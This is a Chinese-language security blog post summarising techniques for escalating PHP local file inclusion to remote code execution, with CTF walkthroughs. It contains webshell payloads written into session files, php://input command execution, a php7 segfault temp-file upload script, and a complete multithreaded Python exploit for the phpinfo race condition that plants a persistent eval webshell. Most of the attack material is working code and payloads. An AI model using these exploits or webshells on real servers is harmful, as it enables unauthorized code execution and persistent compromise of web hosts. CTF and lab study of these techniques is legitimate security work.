LFItoRCE总结

文件写入

系统文件

/proc/self/environ | /proc/self/fd/… | /var/log/…
都可写入一句话,但是需要有读权限

session webshell

可能的Seesion保存路径

/var/lib/php/session/ (PHP Sessions) ,/tmp/ (PHP Sessions)

CTF

notebook
访问robots.txt得到文件名/php1nFo.php
分析URL:http://ab222f22bccf47b5ab936fa859f47a1b44274b3671514637.changame.ichunqiu.com/action.php?module=php&file=login
一波乱fuzz,发现访问?module=&file=login.php可以直接访问,但是不能任意文件读取.
题目提示文件包含phpinfo
访问:http://ab222f22bccf47b5ab936fa859f47a1b44274b3671514637.changame.ichunqiu.com/action.php?module=&file=php1nFo.php

open_basedir做了限制只能访问/var/www/html/:/tmp	/var/www/html/:/tmp
allow_url_include关闭,其实这里也用不了伪协议,做了限制.
disbale_functions未做限制

文件包含还有个姿势就是利用日志\临时文件\session文件写入webshell进行包含.

phpinfo给了session保存路径/tmp/SESS
猜测题目会对session文件写入登录信息,本地演示demo如下,写入Webshell.

注册账户名<?php eval($_GET[‘a’]);?>无法执行shell.估计被waf了,注册

<?php $_GET[a](base64_decode($_GET[‘c’]));?>

访问:http://ab222f22bccf47b5ab936fa859f47a1b44274b3671514637.changame.ichunqiu.com/action.php?module=txt&file=../../../tmp/SESS/sess_i8si4g0683pgb2gg9ghi5a7ql4&a=system&c=Y2F0IGZsYWcucGhw

伪协议

ctf

WEB include

<?php 
show_source(__FILE__);
if(isset($_REQUEST['path'])){
    include($_REQUEST['path']);
}else{
    include('phpinfo.php');
}

https://www.anquanke.com/post/id/177491
直接读flag.php无回显,考虑命令执行,使用php://input POST数据

<?php echo `cat dle345aae.php`; ?>

LFI+php7崩溃

当不存在phpinfo界面时,可以利用php7 segment fault特性。
所谓的段错误(segment fault)就是指访问的内存超过了系统所给这个程序的内存空间

我们可以利用

http://ip/index.php?file=php://filter/string.strip_tags=/etc/passwd

这样的方式,使php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除:

漏洞测试

www目录下的文件和内容

直接执行报错,触发php7 segment fault特性

编写exp,利用www目录下dir.php

import requests
from io import BytesIO
import re
file_data={
	'file': BytesIO("<?php eval($_GET[1]);")
}
url="http://127.0.0.1:8082/lfi.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
	r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
	url="http://127.0.0.1:8082/dir.php"
	r=requests.get(url)		
	print(r.content)

包含文件,执行Shell

phpinfo缓存文件

当攻击网页时找不到可包含webshell,若网站存在phpinfo();界面,配置信息file_uploads = on。
可以借助访问phpinfo界面是产生的缓存临时目录写入webshell。

使用py脚本可以抓取缓存文件名,为了阻止php删除缓存过快,添加垃圾信息上传。

import requests
from io import BytesIO
import re
file_data={
	'file': BytesIO("<?php echo 'test';")
}
url="http://127.0.0.1:8080/phpinfo.php"
r=requests.post(url=url,files=file_data,allow_redirects=False)
print(r.content)

在php删除缓存文件时候成功抓取文件名

引用p神分析:https://github.com/vulhub/vulhub/tree/master/php/inclusion

1.发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
2.因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
3.php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
4.所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5.此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
6.利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

我们需要在phpinfo产生缓存文件之时并包含,缓存文件内容写入

<?php file_put_contents('/tmp/od0d', '<?=eval($_REQUEST[1])?>')?>

创建webshell,防止tmp文件被删除。
三处圈圈地方根据个人需要进行修改即可

执行py脚本

访问:http://127.0.0.1:8080/lfi.php?file=/tmp/od0d&1=system('ls');
成功写入webshell

python脚本

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/od0d', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!